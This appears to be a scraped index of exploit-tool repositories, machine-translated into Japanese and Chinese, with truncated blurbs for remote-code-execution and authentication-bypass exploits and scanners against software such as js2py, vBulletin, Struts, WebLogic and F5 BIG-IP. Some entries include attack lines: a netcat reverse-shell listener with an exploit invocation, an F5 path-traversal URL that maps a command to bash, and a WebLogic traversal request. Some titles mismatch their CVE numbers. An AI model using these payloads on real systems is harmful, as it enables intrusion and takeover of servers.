CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。 報告および修正: 2022-05 パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: コマンドインジェクション, RCE 重要度: 3/3 タイプ: コマンドインジェクション, RCE,...

CVE-2021-3130

CVE-2021-3129 CVE-2021-3129 のもう一つのエクスプロイト！より多くの機能と信頼性を備えるために作られました。https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 に基づいています 免責事項: このスクリプトは、システムのセキュリティを監査するために作成されました。このスクリプトは、ご自身のシステム、または明示的な許可を得たシステムに対してのみ使用してください。...

CVE-2025-55182_PoC-Test-Server

CVE-2025-55182PoC-Test-Server CVE-2025-55182 React RCE テストサーバー...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | XWikiプラットフォームにおけるリモートコード実行の脆弱性（概念実証）...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity 身份验证绕过与远程代码执行PoC 作者： EynaExp 范围： 仅供研究 / 防御验证 / 授权测试 概述 本仓库包含一个概念验证型批量扫描器 ，针对受 CVE-2024-27198 影响的 JetBrains TeamCity 实例。该漏洞为一个身份验证绕过漏洞，可能导致完全的管理员权限接管和远程代码执行（RCE）。 该工具旨在检测存在漏洞的 TeamCity 服务器 ，验证管理访问权限，并可选择根据服务器版本和配置，使用多种技术验证远程命令执行（RCE） 。 支持多线程扫描 、可选代理 以及结构化输出日志 。 ...

CVE-2025-55182

CVE-2025-55182 RCE 個人用チェックツールです。CVE-2025-55182の脆弱性をチェックするために使用します。 脆弱性の原理 React Server Components は、サーバー関数エンドポイントに送信されたペイロードをデコードする際に、パス解決の欠陥が存在します。コロンでオブジェクトのプロパティを区切ることでネストした値の取得を実現します（例: $1🅰️b は "a":"b":"foo".a.b に対応）が、プロパティの存在性の検証は行われません。$1🅰️a が渡されると、.a.a の無効な値の取得がトリガーされ、サーバー側で 500...

cve-2025-59287

CVE-2025-59287 - WSUSエクスプロイトツールキット 作者: adel-h4x0a ⚠️ 教育および許可されたテスト目的のみ ⚠️ 概要 このツールキットは、Windows Server Update Services WSUS のリモートコード実行脆弱性であるCVE-2025-59287の悪用を実演します。 コンポーネント 1. 暗号化モジュール cve-2025-59287-encr.py · WSUS通信のためのAESペイロード暗号化 · レガシーおよびセキュア暗号化モードの両方をサポート · カスタムペイロード生成 2. 悪用モジュール...

CVE-2025-55182-Scanner

CVE-2025-55182 RCE Scanner Batch detection and verification tool for CVE-2025-55182 React2Shell remote code execution vulnerability. ⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only Vulnerability Overview...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 エクスプロイトタイトル: Vehicle Service Management System - 複数のファイルアップロードによるコード実行 エクスプロイト作成者: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 HIGH 参考文献: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution https://nvd.nist.gov/vuln/detail/CVE-2021-46076...

CVE-2023-2636

CVE-2023-2636...

apache_audit_cve-2026-23918

cve-2026-23918 CVE-2026-23918 （Apache HTTPD HTTP/2 ダブルフリー RCE）および2026年5月4日のApache Software Foundationセキュリティアドバイザリで開示された4つの関連CVEに対する防御的監査ツール。 CVE| 深刻度| コンポーネント| 影響| 影響を受けるバージョン ---|---|---|---|--- CVE-2026-23918| 高 CVSS 8.8| HTTP/2| ダブルフリー / RCE| 2.4.66のみ CVE-2026-24072| 中程度| modrewrite apexpr|...

vBulletin_Routestring-RCE

CVE-2019-16759vBulletinRoutestring-RCE-PoC vBulletin に脆弱性が発見されました。悪意のある POST リクエストが脆弱なアプリケーションに送信されると、リモートコード実行が可能になる可能性があります。 この脆弱性は、脆弱なモジュールで HTTP リクエストを解析する際の入力検証エラーが原因です。 影響を受けるシステム : vBulletin バージョン 5.0.0 5.5.4 更新された影響を受けるシステム vBulletin バージョン 5.0.0 5.6.2 使用方法 root@kitploit: python...

vBulletin_5.x-tab_panel-RCE

vBulletin5.x-tabpanel-RCE CVE-2020-17496 は、vBulletin の ajax/render/widgetphp ルートにおいて、widgetConfig パラメータを介して悪意のあるコードを注入する脆弱性です。 影響を受けるシステム vBulletin 5.5.4 5.6.2 vBulletin 5.x Widgettabbedcontainertabpanel RCE 脆弱性テストスクリプト 使用法 root@kitploit: python vBulletin5.x-tabpanel-RCE.py user defined port pyth...

XworkStruts-RCE

XworkStruts-RCE CVE-2017-5638 XworkStruts RCE 脆弱性テストスクリプト Apache Struts 2 2.3.x 2.3.32より前 および 2.5.x 2.5.10.1より前 の Jakarta Multipart パーサーは、ファイルアップロード試行中の例外処理とエラーメッセージ生成に誤りがあり、細工された Content-Type、Content-Disposition、または Content-Length HTTP ヘッダーを介してリモート攻撃者が任意のコマンドを実行できるようになります。これは2017年3月に cmd= 文字列を含む...

drupal8-REST-RCE

drupal8-REST-RCE CVE-2019-6340 drupal8-REST-RCE /node/1 , CVE-2018-7600 drupal8 RCE /user/register Unix/Linux コマンド - リモートコード実行 コマンド "id" 使用方法 root@kitploit: python drupal8-REST-RCE.py user defined port python drupal8-REST-RCE.py default : 80/tcp 更新! python3 をサポートするようにスクリプトを編集しました 2020.11.07...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic 未認証バイパス RCE CVE-2020-14882 Oracle Weblogic 未認証バイパス RCE テストスクリプト Python3 で動作します リクエスト root@kitploit: POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/86.0.4240.1...

PHPUnit_eval-stdin_RCE

PHPUniteval-stdinRCE CVE-2017-9841 PHPUniteval-stdinphp リモートコード実行 PHPUnit（PHPユニットテストフレームワーク）におけるコードインジェクションの脆弱性で、DrupalのMailchimp、Mailchimp E-Commerceモジュールの一部です。 この脆弱性は、php://inputラッパーを使用している /phpunit/src/Util/PHP/eval-stdin.php ファイルに存在します。 root@kitploit: Affected : PHPUnit 4.8.19 - 4.8.27 ,...

struts-rce-cve-2017-9805

説明 CVE 2017-9805 向け Apache Struts RCE ツール オプション u: ターゲットURL; c: 脆弱なターゲット上で実行されるコマンド; f: ターゲットのリストを使用してRCEを自動チェックします（1行に1ターゲット）; p: ローカルリスナーのポートを指定します - f オプションと併用 - （デフォルト：8080） 使用方法 root@kitploit: go run main.go -u target -c command root@kitploit: go run main.go -f filename root@kitploit: go run...

CVE-2020-5903

CVE-2020-5902 リモートコード実行 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...